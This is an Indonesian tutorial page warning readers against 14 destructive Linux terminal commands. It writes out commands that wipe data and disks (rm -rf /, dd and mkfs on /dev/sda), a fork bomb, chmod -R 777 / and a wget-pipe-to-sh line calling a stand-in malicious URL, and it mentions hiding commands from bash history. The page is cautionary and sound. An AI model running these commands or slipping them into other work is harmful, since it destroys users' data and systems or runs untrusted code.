GNU/Linux >> Belajar Linux >  >> Ubuntu

14 Perintah Terminal Linux Berbahaya

Pendahuluan

Menjalankan perintah di terminal Linux mudah dan cepat dan biasanya memberikan pengalaman superior dibandingkan dengan menggunakan GUI untuk melakukan tugas yang sama. Perintah menyediakan akses ke fitur yang tidak tersedia dengan GUI Linux, tetapi juga bisa berbahaya jika Anda tidak yakin apa sebenarnya yang mereka lakukan.

Dalam artikel ini, Anda akan mempelajari perintah Linux berbahaya mana yang harus Anda hindari dan alasannya.

Peringatan: Jangan jalankan perintah ini karena beberapa di antaranya dapat merusak sistem atau file Anda, menghapus data Anda tanpa mengeluarkan peringatan atau permintaan konfirmasi sebelumnya. Tangkapan layar yang disediakan dalam tutorial semuanya dibuat di mesin virtual.

1. rm -rf / Perintah

rm perintah di Linux memungkinkan Anda untuk menghapus file dan direktori. Namun, tidak ada opsi undelete, yang membuat file yang terhapus hilang selamanya. Itu berarti menggunakan rm perintah untuk menghapus file sistem sensitif secara permanen akan menyebabkan ketidakstabilan sistem.

Perintahnya adalah:

rm -rf /

Menjalankan rm perintah dengan -r dan -f flag memaksa penghapusan rekursif melalui semua subdirektori. Menjalankannya di / direktori root akan menghapus sistem sepenuhnya.

2. Perintah>/dev/sda

Menjalankan perintah dan menambahkannya dengan >/dev/sda menulis output perintah pada /dev/sda blok, yaitu, pada hard drive Anda. dev/sda blok berisi data sistem file, yang kemudian diganti dengan output perintah, merusak sistem Anda dan membuatnya tidak dapat dipulihkan.

Sintaksnya adalah:

command >/dev/sda

command dapat berupa perintah Linux apa pun. Misalnya, menjalankan perintah shred akan menghancurkan semua data di drive.

3. :(){ :|:&};:Bom Garpu

Perintah fork bomb membuat fungsi yang disebut : dan mendefinisikan konten fungsi, membuatnya mengeksekusi dirinya sendiri dan menyalurkan ke panggilan lain dari dirinya sendiri. Dengan demikian, fungsi berjalan di latar depan sambil membuat proses yang sama berjalan di latar belakang . Fungsi tersebut dijalankan dan mereplikasi dirinya sendiri berulang kali, dengan cepat menggunakan semua sumber daya Anda hingga sistem berhenti berfungsi.

Sintaks dari perintah fork bomb adalah:

:(){ :|:& };:

4.> file Perintah

> file perintah adalah kependekan dari cat /dev/null > file .

Mengarahkan perintah ke file bisa sangat berguna, tetapi membuat kesalahan dalam sintaks perintah atau menjalankan perintah dengan sembarangan dapat menghapus file sistem yang penting.

> file perintah menggunakan fitur pengalihan bash untuk membersihkan konten file, menghapusnya hingga bersih.

Misalnya, jalankan:

> phoenixnap.conf

Outputnya membuat file konfigurasi kosong.

Selain itu, menambahkan spasi sebelum perintah mencegahnya muncul di log di shell Bash. Ini berarti seseorang dapat menghapus file Anda, dan tidak akan ada jejak yang tersisa jika mereka mendahului perintah dengan spasi.

5. ^foo^bar Perintah

^foo^bar perintah bisa berguna dan berbahaya. Meskipun perintah menghemat waktu karena memungkinkan Anda mengedit perintah yang Anda jalankan sebelumnya dan menjalankannya lagi, perintah ini juga dapat menyebabkan masalah jika Anda tidak memeriksa perubahan yang Anda buat sebelum menjalankannya.

Perintah tersebut menggantikan contoh pertama foo dengan bar . Misalnya:

Dalam contoh pertama menjalankan echo perintah, output menyatakan bahwa perintah tidak ditemukan karena salah ketik. Saat menjalankan ^foo^bar perintah dan mengoreksi kesalahan ketik, perintah echo dijalankan dengan benar.

6. direktori mv /dev/null

Perintah berbahaya lainnya yang dapat Anda temukan online adalah memindahkan direktori atau file ke /dev/null . Di Linux, /dev/null adalah file yang dikenal sebagai "lubang hitam" karena menghancurkan semua data yang Anda pindahkan ke lokasi file.

Namun, sejak /dev/null bukan direktori, tetapi file karakter, mv tidak dapat menimpanya dengan direktori lain. Di sisi lain, Anda dapat memindahkan file ke sana, dan file tersebut menimpa konten /dev/null .

Misalnya:

sudo mv /home/bosko/employees.txt /dev/null

Setelah menjalankan perintah ini, /dev/null adalah file biasa. Bahaya dalam membuat perubahan itu adalah /dev/null seharusnya tidak pernah menampilkan data apa pun, dan sekarang ini adalah file biasa. Dengan konfigurasi yang salah, itu dapat menyebabkan data acak dimasukkan ke dalam file sistem, yang mengarah ke sistem yang rusak.

7. wget http://malicious_source_url -O-|sh

Perintah wget memungkinkan Anda mengunduh file di terminal. Namun, perintah tersebut mungkin menginstruksikan wget untuk mengunduh skrip dari sumber jahat dan menjalankannya dengan sh .

Selalu perhatikan alamat paket atau file yang Anda unduh, dan pastikan itu adalah sumber tepercaya, jika tidak, Anda berisiko menginfeksi sistem Anda.

8. crontab -r

crontab perintah membantu mengotomatisasi tugas sehari-hari. Namun, semua perintah dan instruksi disimpan dalam satu file crontab, yang dapat dihapus dengan menentukan -r bendera. Ini bisa terjadi karena kesalahan saat Anda ingin menentukan -e tandai dan tanpa sengaja memasukkan -r . Hati-hati karena tidak ada yes/no prompt sebelum menghapus file.

Pastikan untuk mencadangkan file crontab Anda karena tidak banyak opsi pemulihan setelah dihapus.

9. sejarah | s

history | sh perintah bisa berbahaya karena mengeksekusi setiap perintah dari log perintah yang telah Anda jalankan. Tindakan tersebut dapat menyebabkan ketidakstabilan sistem dan menjalankan perintah yang tidak ingin Anda jalankan lagi.

10. dd if=/dev/zero of=/dev/sda

Perintah dd menginstruksikan sistem untuk menulis data ke drive fisik. Sumber data ditentukan dalam if parameter, yang dapat berupa random of jika Anda ingin menulis data acak ke blok. if parameter juga bisa zero of jika Anda ingin menghilangkan hard drive Anda. Pilihan mana pun akan menghapus OS dari drive.

Misalnya:

dd if=/dev/random of=/dev/sda

Menjalankan perintah di atas akan mengisi hard drive Anda dengan data acak, menyebabkan sistem Anda gagal.

11. mkfs.ext3 /dev/sda

mkfs perintah membuat sistem file baru pada perangkat yang ditentukan. Menjalankan mkfs bisa berbahaya jika Anda tidak mencadangkan data Anda sebelum menjalankan perintah. Ini memformat partisi/hard drive yang ditentukan, menghapus semua data darinya sepenuhnya.

Peringatan: Meskipun berguna untuk memformat partisi disk, memformat seluruh hard drive (seperti /dev/sda ) membuat sistem tidak dapat dipulihkan. Pelajari lebih lanjut tentang memformat partisi disk di Linux.

Pada contoh berikut, mkfs membuat ext.3 baru sistem file setelah memformat seluruh hard drive:

mkfs.ext3 /dev/sda

Karena perintah memformat seluruh hard drive untuk membuat sistem file baru, sistem tidak lagi dapat di-boot dan menampilkan kesalahan berikut:

Bergantung pada preferensi Anda, Anda juga dapat menginstruksikan mkfs untuk membuat sistem file yang berbeda, seperti ext4 . Anda juga dapat memilih untuk memformat satu partisi atau hard drive yang berbeda, yang ditentukan sebagai pengganti /dev/sda :

mkfs.ext4 /dev/sda1

Pada contoh di atas, kami menginstruksikan mkfs untuk membuat ext4 filesystem pada partisi pertama pada hard drive pertama.

12. gunzip untrusted.gz

Membuka ritsleting arsip yang tidak tepercaya dapat berubah menjadi bom zip, juga dikenal sebagai bom dekompresi. Zip bomb adalah file berbahaya yang menyerang sistem yang mencoba membacanya. Saat mendekompresi file, file tersebut menempati banyak ruang disk, yang dapat berakibat fatal bagi banyak layanan sistem.

Jadi, berhati-hatilah saat menangani arsip dari sumber yang tidak tepercaya, terutama karena zip bomb adalah salah satu file berbahaya tertua di internet.

13. Hapus Python

Sebelum Anda berpikir untuk menghapus versi lama Python dari sistem Linux Anda, ketahuilah bahwa sistem memerlukan instalasi python2 yang berfungsi untuk berfungsi dengan benar. Menghapus instalasi versi Python default di Ubuntu menyebabkan Graphical Display Manager yang digunakan untuk masuk ke sistem gagal, dan Anda terkunci dari sistem Anda .

Namun, jika Anda tahu apa yang Anda lakukan, Anda dapat menghapus Python2.x.x dan semua dependensinya dengan menjalankan:

sudo apt purge python2.x-minimal

14. chmod -R 777 /

Linux adalah sistem multi-pengguna, dan chmod perintah memungkinkan Anda mengubah izin file untuk mengonfigurasi akses pengguna ke file atau direktori tertentu.

Namun, chmod dapat mengubah izin semua file Anda secara rekursif:

chmod -R 777 /

Perintah di atas memungkinkan semua pengguna untuk membaca, menulis, dan mengeksekusi semua file di sistem, yang membahayakan keamanan. Selain itu, sistem tertentu dapat mengalami malfungsi jika izin terlalu terbuka dan mencegah sistem melakukan booting.


Ubuntu
  1. Perintah Linux:pekerjaan, bg, dan fg

  2. 5 perintah Linux yang tidak pernah saya gunakan

  3. 5 penggunaan perintah mv di terminal linux

  1. 10 Perintah Linux Ubuntu yang Paling Berguna

  2. Cara merusak sistem Anda:Perintah Linux yang Berbahaya

  3. Memahami Perintah Dasar Linux

  1. | Di Perintah Terminal?

  2. Menjalankan Perintah Linux di Latar Belakang dan Latar Depan

  3. A sampai Z Perintah Linux